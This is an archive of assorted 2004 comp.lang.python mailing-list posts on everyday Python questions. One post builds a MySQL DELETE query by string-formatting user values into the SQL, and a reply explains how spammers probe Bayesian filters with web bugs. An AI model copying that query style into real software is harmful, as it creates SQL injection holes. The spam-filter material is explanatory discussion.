Hoping for an answer and wishing a happy day
		LOBI


From tnospamwade at bmi.net  Thu Feb 19 18:53:19 2004
From: tnospamwade at bmi.net (T. Earle)
Date: Thu, 19 Feb 2004 15:53:19 -0800
Subject: Complex Nested Dictionaries
Message-ID: <40354c35@news.bmi.net>

To list,

I'm trying to figure out the best approach to the following problem:

I have four variables:
   1) headlines
   2) times
   3) states
   4) zones

At this time, I'm thinking of creating a dictionary, headlinesDB, that
stores different headlines and their associated time(s), state(s), and
zone(s). The complexity is that each headline can have one or more times,
one or more states, and one or more zones.  However, there can only be 1
zone per time, and 1 zone per state.  What is the best way to tackle this
particular problem?

Here's an example of the complexity:

Let's say we have a "High Wind Warning" for our headline or hazard.  In
addition, there are currently two "High Wind Warnings" in effect.  The first
goes from Tonight through Friday morning (i.e., I'll probably store the
begin/end times in seconds from 1/1/1970).  It affects three counties all in
the state of Oregon: ORZ047, ORZ048, and ORZ049.  The second High Wind
Warning is in effect from Friday at Noon through Friday evening.  It affects
two counties in two separate states:  ORZ044 in Oregon and WAZ028 in
Washington.  Here's the flow chart:

High Wind Warning --> time1 --> state1 --> zone1, zone2, zone3
                               |
                               --> time2 --> state1 --> zone4
                                              --> state2 --> zone5

Keep in mind, each headline or hazard can have multiple times.  Each time
will have one or more states with each state containing one or more zones.
Is there a better way than a dictionary.  As mentioned above, the headline
or hazard is the key I'll be extracting all the information from.

Thanks in advance,

Tom




From richie at entrian.com  Wed Feb 18 04:48:15 2004
From: richie at entrian.com (Richie Hindle)
Date: Wed, 18 Feb 2004 09:48:15 +0000
Subject: p2ph
In-Reply-To: <899d28b2.0402121000.5775d875@posting.google.com>
References: <899d28b2.0402121000.5775d875@posting.google.com>
Message-ID: <gtc630520hta9jnkj6jocgs5dhmr19ho8v@4ax.com>


> Is there a perl to python converter from Windows/DOS? If so, point me to it.

Hartmut Goebel's 'bridgekeeper'.

http://www.crazy-compilers.com/bridgekeeper/ :

  'bridgekeeper' helps converting Perl code to Python source.  [...]

  'bridgekeeper' consists of:

   o a Perl compiler back-end emitting Python-like source and 
   o a runtime Python package which tries to emulate some perl build-in
     functions. 

-- 
Richie Hindle
richie at entrian.com




From simonb at NOTTHISBIT.webone.com.au  Mon Feb 23 17:59:34 2004
From: simonb at NOTTHISBIT.webone.com.au (Simon Burton)
Date: Tue, 24 Feb 2004 09:59:34 +1100
Subject: text file edit object?
References: <pan.2003.07.10.21.00.03.865187@webone.com.au>
Message-ID: <pan.2004.02.23.22.59.27.752074@NOTTHISBIT.webone.com.au>


Please ignore, my news reader went crazy.

Simon.


On Tue, 24 Feb 2004 09:57:03 +1100, Simon Burton wrote:

> 
> # Does anything like this exist ?
> 
> myfile = TextFile("myfile.c")
> if myfile and myfile[0].startswith( "/*" ):
>   myfile[:12] = []
>   myfile.save()
> 
> 
> # Simon Burton.



From ej.at.wellkeeper at dot.com  Fri Feb 27 15:50:09 2004
From: ej.at.wellkeeper at dot.com (Erik Johnson)
Date: Fri, 27 Feb 2004 13:50:09 -0700
Subject: Python as replacement for PHP?
Message-ID: <403fa54b@news.zianet.com>

This is somewhat a NEWBIE question...

    My company maintains a small RDBS driven website. We currently generate
HTML using PHP.  I've hacked a bit in Python, and generally think it is a
rather cool language. I've done Perl and like it, there are a few features
of PHP I like but overall am not too excited about it. I have found PHP's
strtotime() function to be quite flexible and handy and we make liberal use
of it.

    I have not yet really "dug-in" to Python - I have dabbled and hacked a
bit. I am advocating considering switching to Python for a number of
reasons:

        1) I think Python is cool.
        2) We can do system administration type scripts (currently
implemented in Perl), web page generation (PHP), and (potentially)
client-side applications (including GUI's that make socket and/or external
HTTP requests) in one language.
        3) Python's interactive interpreter makes it easy to try things out.
        4) PyUnit - we would like to develop a robust set of tests and be
able to do regression testing. I'm not aware of a JUnit/PyUnit analog in
PHP. Are you?
        5) Python has better code support for complex native data types
(e.g., tuples, dictionaries, sequences, etc. and being able to write these
directly in a hierarchical structure rather than building them up piecewise
with function calls and assignments as in PHP).
        6) All the other standard evangeslistic points about why Python is
better than <your favorite language here>, some of which may be valid to us,
some probably not. To those that have used PHP: what am I potentially losing
that Python really can't replace?

    So, I'm hoping there are some people out there that actually have some
expereience with both Python & PHP and can give me some solid, informed
advice about PHP vs. Python, in general and particularly on the following
points: (NOT Python evangelism please: I've already heard most of it, I've
espoused a pretty good dose myself - frankly, I'm willing to buy most of it,
but I've got a serious business decision to make here).

    1) PHP seems to have a pretty good integration/driver with PostgreSQL.
If we were to switch to Python, what modules/drivers are available to talk
to PosgreSQL and is it as functional as PHP's support?

    2) Is there a way to have our cake and eat it too? That is, rather than
being forced to ride one horse or another, can I ride both horses at once:
is there a way to integrate PHP and Python such that I could call PHP
functions from a Python script? I know you can always make system calls, and
it probably wouldn't be that difficult to call an external PHP script and
slurp up it's output from STDOUT, but my impression is that this is a pretty
expensive thing to do (relatively) compared to generating HTML from a single
script invocation. I'm asking if there exists some sort of single-process
integration (e.g., something akin to Java's "native" interface where a
program can schlep data back and forth between a Java environment and
"native" C)?

    3) Does Python have an analog to strtotime()? (For those not familiar
with that function, it converts a wide range of date formats as string into
time_t value. Can handle things like "now", "+24 hours", "-3 days",
"yesterday 06:00PM MST", "January 23, 2004", "2004-02-26 18:00:00 -07",
etc.)

    4) I am vaguely aware of Apache's modpython. We are currently running
apache, but I'm real green when it comes to configuring/running/managing
Apache. I don't really understand what all modpython does for me. Generally
allows Apache to foist off an HTTP request on a Python script to handle I
assume, but maybe some kind soul can better inform me about what all
modpython really does for me?

    5) A PHP script can freely jump in and out of static HTML and script
code with <?php ?>  tags. This is sometimes handy. Can you do the same thing
with Python?

    6) Debugging: I'm aware there is a debugger for Python - I haven't
really used it. Maybe there is a better way to do this using PHP, but right
now when a PHP script isn't working right, I'm reduced to print statements
and just re-running the script. Do you know a better way to do this in PHP?
If I were doing things in Python, is there an easy way to generate an HTTP
request from my browser, but stop the generating script and analyze it in a
Python debugger?

    7) This goes back to #2, but we are looking at purchasing a PHP graphing
package:  http://www.aditus.nu/jpgraph/  If we could easily call PHP from
within Python, then I guess that is a no brainer: we can use the PHP
package. If not, then we are left answering the quesiton, can we call it as
a forked process, and if so, is that too expensive? Do you know of
comparable packages for Python?


    I think that's it for now. Thank you for taking the time to read my post
and many thanks in advance to anyone who would be so kind as to reply.
(direct response to ej at wellkeeper dot com greatly appreciated).

-ej




From darcy at druid.net  Sun Feb 22 06:23:11 2004
From: darcy at druid.net (D'Arcy J.M. Cain)
Date: Sun, 22 Feb 2004 06:23:11 -0500
Subject: [PyGTA] Notice: Toronto Pythonistas -- February's meeting @ new
	location & time
In-Reply-To: <4037D5E1.3080407@rogers.com>
References: <4037D5E1.3080407@rogers.com>
Message-ID: <200402220623.13050.darcy@druid.net>

On February 21, 2004 05:04 pm, Mike C. Fletcher wrote:
>     Give-X Offices, 4th floor, 366 Adelaide St. W., @ 7pm

That's Givex.  No hyphen.

-- 
D'Arcy J.M. Cain <darcy@{druid|vex}.net>   |  Democracy is three wolves
http://www.druid.net/darcy/                |  and a sheep voting on
+1 416 425 1212     (DoD#0082)    (eNTP)   |  what's for dinner.



From missive at frontiernet.net  Tue Feb 17 18:23:26 2004
From: missive at frontiernet.net (Lee Harr)
Date: Tue, 17 Feb 2004 23:23:26 GMT
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
Message-ID: <slrnc358jd.47t.missive@homer.easthighschool.net>

On 2004-02-17, shivermetimbers15 <shivermetimbers15 at yahoo.com> wrote:
> I'm new to Python, as you can tell, and I'm interested in how to do this.


Sounds suspiciously like homework to me...

Post some code you've written and I am sure people will help you
to get it working.



From CousinStanley at hotmail.com  Mon Feb  9 18:45:38 2004
From: CousinStanley at hotmail.com (Cousin Stanley)
Date: Mon, 9 Feb 2004 16:45:38 -0700
Subject: fonts in PIL ?
References: <Xns9489E52CDD393stefninnospamyahoofr@213.228.0.4>
	<c08b7s$13ui42$1@ID-130333.news.uni-berlin.de>
	<Xns948ABF759C2E3stefninalussinanorg@212.27.42.68>
Message-ID: <c095tk$14c642$1@ID-130333.news.uni-berlin.de>

| ....
| am I dreaming or all fonts are in white ?
| (and so cannot be seen if you have a white background) ?
|
| Or is there a way to set the color of text ?

St?phane ....

    # Set the background color when creating the image ....

    this_image  = Image.new( 'RGB' , ( 360 , 240 ) , 'white' )

    # Set the fill color when drawing the text ....

    i_draw.text( ( this_col , this_row ) , 
                           this_line , 
                           font = i_font , 
                           fill    = 'black' )

-- 
Cousin Stanley
Human Being
Phoenix, Arizona



From helge.stenstrom at NOSPAM.ericsson.com  Tue Feb 17 08:28:50 2004
From: helge.stenstrom at NOSPAM.ericsson.com (Helge Stenstrom)
Date: 17 Feb 2004 14:28:50 +0100
Subject: Hello World with pywin
Message-ID: <un07hzvfx.fsf@NOSPAM2.ericsson.com>

I'd like to do something similar to a Hello World program, namely a
few Windows error messages, as jokes. (Something similar to
http://shotgun.shacknet.nu:81/noterror.jpg) 

Hopefully, Python is a good tool for this, but I haven't found any
good examples.

Can someone point me to Hello World examples with a Windows window,
some text, and one or two buttons. The Tk logo should not be visible,
so I suppose that I should use pywin or win32ui or something similar.

many thanks,
Helge


From adam at dragonwisard.net  Mon Feb 23 12:18:34 2004
From: adam at dragonwisard.net (Dragon A. Wisard)
Date: Mon, 23 Feb 2004 17:18:34 GMT
Subject: Please help me w/ Python Imaging Libarary
Message-ID: <Xns94987D3E2CD21adamdragonwisardnet@199.45.49.11>

If someone here has experince w/ PIL please tell me how im.paste(image, 
box,mask) works. I don't have much experience working w/ image files, so I 
don't know exactly what I'm doing, but I keep getting a Bad Mask error no 
matter what I put in as the Mask. I've been reading the pil-handbook.pdf 
and it doesn't help me at all.


From bart_nessux at hotmail.com  Mon Feb  9 21:22:27 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Mon, 09 Feb 2004 21:22:27 -0500
Subject: approach to writing functions
Message-ID: <c09f8c$l2f$1@solaris.cc.vt.edu>

I understand that most people write functions to reuse code, no? So, I
assume it would be better to write functions that are very specific, as
opposed to those that are more generic. 

However, I have difficulty doing this. My code doesn't need to be
super-modular (I don't need functions that can be used in dozens of
different programs). So, my functions don't tend to be portbale and can
sometimes span one, or perhaps two pages.

Is this wrong? I know functions were not intended for this, but if I don't
use them in this manner, I might as well do everything globally, and I
don't see any difference in the two approaches.

Say I have a program that contains no functions. Say that it is all global
and it's written like a shell script. Say that it does what I intend it to
do exactly. More experienced programmers fuss that I have not used
functions to write it. They complain about global variables, etc. But, when
I use functions and enclose everything in a one big function, I am in
essence doing exactly what I was doing globally.

Just asking for a bit of guidance. If my program works, should it be
re-written to use functions or classes? Isn't Python flexible enough to
allow for many approaches to how it is used? I mean, I know nothing of OO
programming, but Python is still a *very* useful language to me *and* to
the programmer who is an OO god. So, can't there be room for all
approaches... the formal, enlightened, abstract method of the gods and the
informal, pragmatic, get-it-done method of the common man?

What do you guys think?


From kbk at shore.net  Tue Feb 10 14:08:07 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Tue, 10 Feb 2004 19:08:07 GMT
Subject: BON Business Object Notation and/or design by contract for
 Python?
References: <mailman.1424.1076429080.12720.python-list@python.org>
Message-ID: <87ekt2zrah.fsf@hydra.localdomain>

"Brad Clements" <bkc at Murkworks.com> writes:

> Has anyone examined BON (Business Object Notation)

I bought a copy of the book years ago and read through it fairly carefully.
It's pretty interesting.

BON was an unfortunate name  :-)

> http://www.bon-method.com/index_normal.htm (sorry frames)? This book
> was published in 1996 and is out of print, but the full text is
> available at the website in PDF format. Also there's a Visio tool on
> the site for doing BON layout. There's also a text only version of
> BON specification
>
> I'm especially interested in the "two way" aspect of BON and it's relative
> open-ness compared to UML.

I've never been a UML fan.  BON looked better.

Reverse engineering is essential to avoid having the documentation
decouple from the code.  Rational Rose has "two-way" UML, IIRC.

> Has anyone tried BON? (on a Python project or not)

ISE "implemented" BON, but it was a terrible job.  Last time I looked,
it was very buggy, the demo crashed all the time, and only implemented
the static part of BON.  That was 2 - 3 years ago, I haven't checked
back.  It's /gotta/ be better by now, but a real implementation has to
include the dynamic part :-)

http://archive.eiffel.com/products/bon.html

BON now appears to be part of EiffelStudio, but only in the $5000 version.
It doesn't look like I'm going to be able to update my opinion  :-)

http://www.eiffel.com/products/studio52/feature_comp.html

> BON supports invariants, which leads to design by contract. (I haven't done
> any design by contract yet)

DBC is quite interesting.  Most of the examples I've seen use it
incorrectly, IMHO.  They essentially end up writing the code twice,
once in the precondition/postcondition, and once in the body of the
method.

-- 
KBK


From bart_nessux at hotmail.com  Tue Feb 10 08:44:56 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Tue, 10 Feb 2004 08:44:56 -0500
Subject: approach to writing functions
In-Reply-To: <mailman.1402.1076396710.12720.python-list@python.org>
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1402.1076396710.12720.python-list@python.org>
Message-ID: <c0an8o$g7i$1@solaris.cc.vt.edu>

Paul Prescod wrote:
> If I were you I would post one of these scripts and see if the function 
> and OO fans can make it easier to read or maintain by using structured 
> programming.

OK, here is a script that works w/o OO or functions. It's very useful... 
never fails. It helps sys admins track machines that have mobile users 
who are using DHCP.

#!/usr/bin/python
#
# Tested on Linux Machines
# Run as cron as root
# May work on OS X too
#
# Dec 29, 2003 works on Mac OSX 10.3 like this:
# chown 'root' && chgrp 'wheel' && chmod '755'
# place in /usr/bin
#

from email.MIMEText import MIMEText
import smtplib
import os

u = "User"		#Change This to user's name.
f = "admin at XXX.edu"
t = "admin at XXX.edu"

fp0 = os.popen("/sbin/ifconfig en0 inet", "r")
fp1 = os.popen("/usr/bin/uptime", "r")
fp2 = os.popen("/usr/bin/uname -a", "r")
fp3 = os.popen("/usr/bin/wc -l /etc/passwd", "r")
msg = MIMEText("-- IFCONFIG --\n\n" + fp0.read() + "\n-- UPTIME --\n\n" 
+  fp1.read() + "\n-- UNAME --\n\n" + fp2.read() + "\n-- PASSWD LC 
--\n\n" + fp3.read())
fp0.close()
fp1.close()
fp2.close()
fp3.close()

msg["Subject"] = "%s's ifconfig Report" % u
msg["From"] = f
msg["To"] = t

h = "smtp.vt.edu"
s = smtplib.SMTP(h)
s.sendmail(f, t, msg.as_string())
s.quit()



From ark at acm.org  Tue Feb 17 14:20:53 2004
From: ark at acm.org (Andrew Koenig)
Date: Tue, 17 Feb 2004 19:20:53 GMT
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
	<10341ha7te8bpb8@news.supernews.com>
	<2c60a528.0402171105.3b4e77dd@posting.google.com>
Message-ID: <pQtYb.39158$hR.928924@bgtnsc05-news.ops.worldnet.att.net>

> This could be solved by starting with a 'while' construct as normal and
then
> following it with the new keyword:
>
>   while True:
>     setup_condition
>   anwhile condition:
>     loop_body
>
> ('anwhile' is by analogy with 'elif', but anything could be used.)

Hmmm... You could spell it "and while" without needing a new keyword at all.
Moreover, if you were to define "while:" as equivalent to "while True:",
then you could do this:

    while:
        setup_condition
    and while condition:
        loop_body

No reading backwards needed.




From peter at engcorp.com  Wed Feb 18 21:56:49 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 21:56:49 -0500
Subject: How do make a function that creates a sequence of
	nrandomnumbers?
References: <mailman.38.1077148009.27104.python-list@python.org>
Message-ID: <403425F1.28A2E1F7@engcorp.com>

Tony Meyer wrote:
> 
> > > Thanks, everyone. Also, I'd really like to know how to remove the
> > > lowest number from the sequence.
> > Now this really sounds like homework.
> 
> OT, but if you were a teacher assigning homework like this, wouldn't you
> read c.l.p to see which of your students asked the homework questions?  (Or
> at the least, google through the list when the homework is handed in?)

Given that most people, and almost always those posting questions about
homework or how-to-write-spamsoft, either use fake email addresses, or 
hide behind cute "handles" and generic web-mail accounts, there's little chance
that a professor will actually be able to match the request with an
actual student, I would think.

-Peter


From tkpmep at hotmail.com  Sun Feb 22 19:12:58 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 22 Feb 2004 16:12:58 -0800
Subject: Case sensitive file names
References: <mailman.170.1077470876.27104.python-list@python.org>
Message-ID: <b4a8ffb6.0402221612.8de6c47@posting.google.com>

Here's my example
>>> file =open("c:\python23\programs\test.txt")

Traceback (most recent call last):
  File "<pyshell#0>", line 1, in -toplevel-
    file =open("c:\python23\programs\test.txt")
IOError: [Errno 2] No such file or directory: 'c:\\python23\\programs\test.txt'

>>> file =open("c:\Python23\Programs\test.txt")

Traceback (most recent call last):
  File "<pyshell#1>", line 1, in -toplevel-
    file =open("c:\Python23\Programs\test.txt")
IOError: [Errno 2] No such file or directory: 'c:\\Python23\\Programs\test.txt'

>>> file =open("c:\Python23\Programs\Test.txt")
>>> print file.read()
1
2
3


From eastier at free.fr  Sun Feb  1 19:53:03 2004
From: eastier at free.fr (Emmanuel)
Date: Mon, 02 Feb 2004 01:53:03 +0100
Subject: How to optimised with embedded Python ?
References: <401C62C5.C5ECABF7@free.fr> <87fzduiapz.fsf@pobox.com>
Message-ID: <401D9F6F.D5488B21@free.fr>

Actually, I found a solution :
Just after the python initialize, I increment Py_OptimsedFlag :

(...)
 Py_Initialize();
 Py_OptimizeFlag++;
(...)

Works like a charm !!

Thanks for your help,

Emmanuel

"John J. Lee" a ?crit :

> Emmanuel <eastier at free.fr> writes:
>
> > I would like to use optimised python scripts ( *.pyo ), in order to gain
> > space.
> > But I use an embedded python. The compiler can only be run from my
> > application.
> > How do I set the compiler, from the C api, to create optimised files ?
>
> There's a "compileall" script in the source distribution that should
> show you how to do it.
>
> John



From usenet at -OBFUSCATED-joefrancia.com  Thu Feb  5 00:26:29 2004
From: usenet at -OBFUSCATED-joefrancia.com (Joe Francia)
Date: Thu, 05 Feb 2004 05:26:29 GMT
Subject: Python+CORBA Vs EJB!
In-Reply-To: <ba129ce7.0402041004.54228905@posting.google.com>
References: <ba129ce7.0402041004.54228905@posting.google.com>
Message-ID: <9ukUb.6565869$be.1085087@news.easynews.com>

John wrote:
> I am looking at solutions for creating distributed objects. I am
> interested in comparing Python + CORBA (Fnorb, OmniORBPy etc) vs EJB.
> Could any of you who have used both contrast them for me? At the first
> pass, OmniORBPy actually seemed easier than EJB but EJB development is
> far better supported in tools and thus could potentially be easier.
> Both can interop one way or other with all of my clients.
> 
> I am looking for development insights in terms of development ease,
> features (I don't need many now but eventually I likely will) and
> robustness.
> 
> Please note that I want to compare CORBA development in Python with
> EJB, not CORBA in general with EJB.

If you just want to create distributed apps in Python, you may want to 
take a look at Pyro: http://pyro.sourceforge.net/


From amy-g-art at cox.net  Fri Feb 27 02:12:47 2004
From: amy-g-art at cox.net (Amy G)
Date: Thu, 26 Feb 2004 23:12:47 -0800
Subject: escaping % in a string???
Message-ID: <P5C%b.2944$506.2797@fed1read05>

I am trying to execute the following MySQL query:

c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE '%%s%'"""
%(userid, phrase))

This returns an error saying:
ValueError: unsupported format character ''' (0x27) at index 63

I can fix this by setting
phrase = "%" + phrase + "%"

and then
c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE '%s'"""
%(userid, phrase))

But is there a way to escape the % signs in the first execute statement?

Thanks in advance for any help.
Sorry about the easy question.





From __peter__ at web.de  Wed Feb 25 03:05:05 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 25 Feb 2004 09:05:05 +0100
Subject: string.split bug?
References: <92c59a2c.0402242308.35f55d4a@posting.google.com>
Message-ID: <c1hkvh$9q5$00$1@news.t-online.com>

MetalOne wrote:

> string.split("") ==> []
> string.split("",",") ==> ['']
> 
> I did not expect these to have different outputs.
> 
> I have a string with comma delimited numbers.
> There can be zero or more numbers in the string
> s = "0x41, 0x42"
> 
> I wanted to do
> numbers = map(lambda x: int(x,16), string.split(s,","))
> 
> However, when there are no numbers, this generates an error.

It's not a bug, it's a feature. The same question was asked on python-dev
recently, and it turned out that str.split() and str.split(separator) are
intended to work differently. 

A slightly modernized variant of your example could then be:

>>> def numbers(s, sep=None):
...     return [int(x, 16) for x in s.split(sep) if x]
...
>>> numbers("aa bb cc\n")
[170, 187, 204]
>>> numbers("aa,bb,cc", ",")
[170, 187, 204]
>>> numbers("", ",")
[]

Peter



From tim.one at comcast.net  Thu Feb  5 11:00:17 2004
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 5 Feb 2004 11:00:17 -0500
Subject: spam classification breaker
In-Reply-To: <zkNtOLAjhgIAFweW@jessikat.fsnet.co.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEEGIMAB.tim.one@comcast.net>

[Robin Becker]
> This article at the BBC reports on what appears to be a genetic
> algorithm or random search method for finding words that apparently
> fool bayesian classifiers every time.
>
> http://news.bbc.co.uk/1/hi/technology/3458457.stm
>
> The author apparently had to include html reporting into the emails to
> allow his mail client to report back automatically.

If I'm a spammer trying to get my pitches seen by you, and you're using a
personal Bayesian classifier, then I need to load my pitches with words that
are very hammy to you.  If I don't have access to your personal training
data (if I do, I already own your machine ...), then I need to *deduce*
what's hammy to you.  One way to do that is, as John Graham-Cumming noted
here, is for me to send you thousands of messages with different piles of
words, and note which ones did and didn't get caught by your filter.   Then
I load my sales pitches with words from the ones that your filter didn't
reject, and avoid words from ones your filter did reject.  In order to do
that, I have to know which messages you did and didn't look at.  That's the
purpose of the HTML "web bug"/"web beacon"s in the thousands of test
messages.  (If your email client renders HTML pages, including fetching
images off the net, a spammer can know when you've rendered their message,
by, e.g., embedding your email address as a parameter in a URL that fetches
a .jpg to display.)

> Of course if he'd used python the whole process of email generation
> and classification could have been done in a single process and would
> probably allow easier generation of the magic words.

I have to deduce *your* magic words, not mine.  I have to send email to you,
and deduce what you did and didn't look at.  This is an expensive process
for the spammer, of course.

> Why Berkshire, Marriot etc should be allowed through is pretty strange :)

It's one reason personal Bayesian classifiers are hard to beat.  Perhaps Dr.
Graham-Cumming attended a conference in Berkshire, and stayed at the
Marriott there.  It's not hammy to me, but it is to him.

There's a much cheaper way to beat these classifiers, which I've seen in the
wild, but very rarely:  I send spam to you by attaching it as a reply to a
message you posted to a public mailing list.  I retain your original subject
line, and the full text of your original message.  It's almost certain that
the things you post to public mailing lists contain words that are hammy to
you.  But this is still much more expensive for me than just blasting a
single email to millions of addresses in bulk, and it's not an effective
*sales* pitch:  it will get through your filter, and everyone looks at
replies to their own messages, but when you see that it's really an
advertisment you're much more likely to be pissed at the sender than to
givee them money <heh>.  Since the real goal of spam is to sell product,
it's not enough just to evade filters.




From jcribbs at twmi.rr.com  Tue Feb 24 18:55:44 2004
From: jcribbs at twmi.rr.com (Jamey Cribbs)
Date: Tue, 24 Feb 2004 23:55:44 GMT
Subject: Generating reports from database
In-Reply-To: <8qednfo6Jv0GGabd4p2dnA@comcast.com>
References: <mailman.47.1077641402.8594.python-list@python.org>
	<8qednfo6Jv0GGabd4p2dnA@comcast.com>
Message-ID: <4wR_b.23260$6t5.19967@fe3.columbus.rr.com>

Larry Bates wrote:
> What platform (e.g. Windows/Linux, ...)
> 
> On Windows it is nearly impossible to write something better
> than Crystal Reports or Active Reports programs.  They
> are very flexible.
> 

But if you don't already own either of these products, this can be costly.

Check out RPV (www.rpvreport.com).  It's a report engine that takes a 
more simplistic approach to producing reports than Crystal.  For around 
$40-$50, you can purchase the product and distribute the runtime to ALL 
of your clients royalty free.

I have used RPV from many Python and Ruby apps and it works great.

Jamey


From fidtz at clara#spam#.co.uk  Fri Feb 13 06:05:05 2004
From: fidtz at clara#spam#.co.uk (DomF)
Date: Fri, 13 Feb 2004 11:05:05 -0000
Subject: How to avoid "f.close" (no parens) bug?
References: <96F3EC4BDF504540BB9715CBE9DACB8B081B0DB2@pa-mail1.legato.com><402BB684.4010807@prescod.net>
	<mailman.3.1076613168.31398.python-list@python.org>
Message-ID: <1076670416.75012.0@demeter.uk.clara.net>

"Terry Reedy" <tjreedy at udel.edu> wrote in message
news:mailman.3.1076613168.31398.python-list at python.org...
>
> "Paul Prescod" <paul at prescod.net> wrote in message
> news:402BB684.4010807 at prescod.net...
> > Michael Pyle wrote:
> > > try:
> > >         sys.frozen
> > > except AttributeError:
> > >         options.append( 'debug-on' )
> >
> > A cleaner and probably more efficient way of doing this is:
>
> Since I expect, based on old posts but without testing the current
> interpreter, the fixed cost of hasattr to be between the two costs of
> successful and exception-generating tries (the latter much higher), I
would
> expect relative efficiency to depend on the relative proportion of try
> outcomes.  But the difference should seldom be enough to be a deal
breaker
> either way.
>
> Regardless of speed, I like the below better.  The bare attribute
access is
> a bit jarring to me, though I can see how it might become an in-house
> idiom.
>
> > if not hasattr(sys, "frozen"):
> > options.append("debug-on")
>
> But for similar reasons, even if there were no use for bare names, I
would
> be opposed to breaking the currently simplicity of 'name recalls
object'.
> In any case, a Python compiler cannot, in general, know what type of
object
> a name will be bound to at runtime.  The parens following a name (or
> expression) amount to a behavioral-type promise by the programmer that
the
> resulting object will be callable.  If not, then a *runtime* exception
gets
> raised.  In return, the interpreter promises to make the call if at
all
> possible.
>
> Terry J. Reedy

This rang a bell. try/except vs. hasattr is using in the Python docs as
a timeit example :)

http://www.python.org/doc/current/lib/node397.html

Dom





From paul at boddie.net  Tue Feb 17 04:39:15 2004
From: paul at boddie.net (Paul Boddie)
Date: 17 Feb 2004 01:39:15 -0800
Subject: package similar to XML::Simple
References: <bv80qq$kbg$1@sunnews.cern.ch>
	<Wj3Yb.3914$Cd6.174692@news20.bellglobal.com>
Message-ID: <23891c90.0402170139.857d46f@posting.google.com>

Chris Herborth <chrish at cryptocard.com> wrote in message news:<Wj3Yb.3914$Cd6.174692 at news20.bellglobal.com>...
> 
> Despite all of the, uh, _discussion_ in this thread, I'd like to thank you 
> folks for pointing out pyRXP... I hadn't found that before, and if I can 
> whip up a pyRXP -> DOM2 translator, it will fit my needs _perfectly_.

Well, if it is true what people claim about dictionaries and tuples
being faster than objects, then you may see any supposed performance
advantage claimed by the PyRXP proponents just dissolve away as you
instantiate all those nodes. But as I noted with respect to "double
wrapping" libxml2, if you can restrict yourself to very few high-level
operations through those layers, and then invoke various "native"
methods directly, then it could still be worth it.

Paul


From fumanchu at amor.org  Fri Feb  6 21:47:58 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 6 Feb 2004 18:47:58 -0800
Subject: Beginning programmer question - How to print a list in a
	differentformat
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561CFD@opus.amorhq.net>

John wrote:
> p1hand = 
> {'b12':b12,'d12':d12,'d23':d23,'n12':n12,'n23':n23,
> 'n34':n34,'p12':p12,'p23':p23,'p34':p34,'p45':p45}
> p1handlist = p1hand.keys()
> print p1handlist
> 
> ['b12', 'd12', 'd23', 'n12', 'n23', 'n34', 'p12', 'p23', 'p34', 'p45']
> 
> how can I make it so that the output looks more like this?:
> 
> b12, d12, d23, n12, n23, n34, p12, p23, p34, p45

Hi, John,

Try the following:

p1handlist = p1hand.keys()
p1handlist.sort()
print ', '.join(p1handlist)


HTH,

Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From __peter__ at web.de  Sun Feb  8 06:07:11 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 08 Feb 2004 12:07:11 +0100
Subject: Warnings killing my performance
References: <153fa67.0402060933.13840e8c@posting.google.com>
	<c02ubl$qqt$07$1@news.t-online.com>
	<153fa67.0402071414.64d84ee0@posting.google.com>
Message-ID: <c0558v$fie$04$1@news.t-online.com>

Kylotan wrote:

> Peter Otten <__peter__ at web.de> wrote in message
> news:<c02ubl$qqt$07$1 at news.t-online.com>...
> 
>> def disableWarnings():
>>     def _theevilunwarner(*args):
>>         pass
>>     import warnings
>>     warnings.warn = _theevilunwarner
>>     warnings.warn_explicit = _theevilunwarner
> 
> Heh, that's great. However, I don't think it really scales well to a
> full application, does it? :)

Well, you could disable warnings in critical parts only, but that wouldn't
play well with threads. Enter the not so evil unwarner:

def disableWarnings():
    originalWarn = warnings.warn
    disabled = sets.Set([
        id(exceptions.OverflowWarning),
        id(exceptions.FutureWarning)])

    def _thenotsoevilunwarner(message, category=None, stacklevel=1):
        if id(category) in disabled:
            #print "DISMISS", message, category
            pass
        else:
            #print "PROPAGATE", message, category
            originalWarn(message, category, stacklevel)
    warnings.warn = _thenotsoevilunwarner

It's still pretty fast (10.8 vs 27.1 usec on my machine), but the duplicate
test will slow down warnings that are actually propagated.

And if you are really ambitious, you could devise a patch to speed up warn()
in the library, maybe using a similar technique as shown above.

Peter



From tdelaney at avaya.com  Sun Feb 29 17:46:22 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Mon, 1 Mar 2004 09:46:22 +1100
Subject: python newbie having strangeness
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE013E64DE@au3010avexu1.global.avaya.com>

> From: Mel Wilson
> 
>    Yep.  Concentrate on the tutorial and the Library
> reference.
> 
>    Actually the Reference manual is a good reference, but I
> don't know anybody who could learn the language from it.

Um - I did. Reference manual and *existing code*.

Reference manual by itself though would be very hard.

Tim Delaney



From jcarlson at nospam.uci.edu  Mon Feb  2 18:38:59 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 15:38:59 -0800
Subject: wxPython issues
In-Reply-To: <b6et10l67pa22s4sf34tp646efd7ip78t9@4ax.com>
References: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>
	<bvk4m4$rna$1@news.service.uci.edu>
	<b6et10l67pa22s4sf34tp646efd7ip78t9@4ax.com>
Message-ID: <bvmn6r$9r0$1@news.service.uci.edu>

> No, the thing is:
> 
> It is a (still primitive) filemanager, where copy should be run in a
> worker thread
> in background (you can copy 1 GB file), and you should be able to work
> with the
> program without waiting

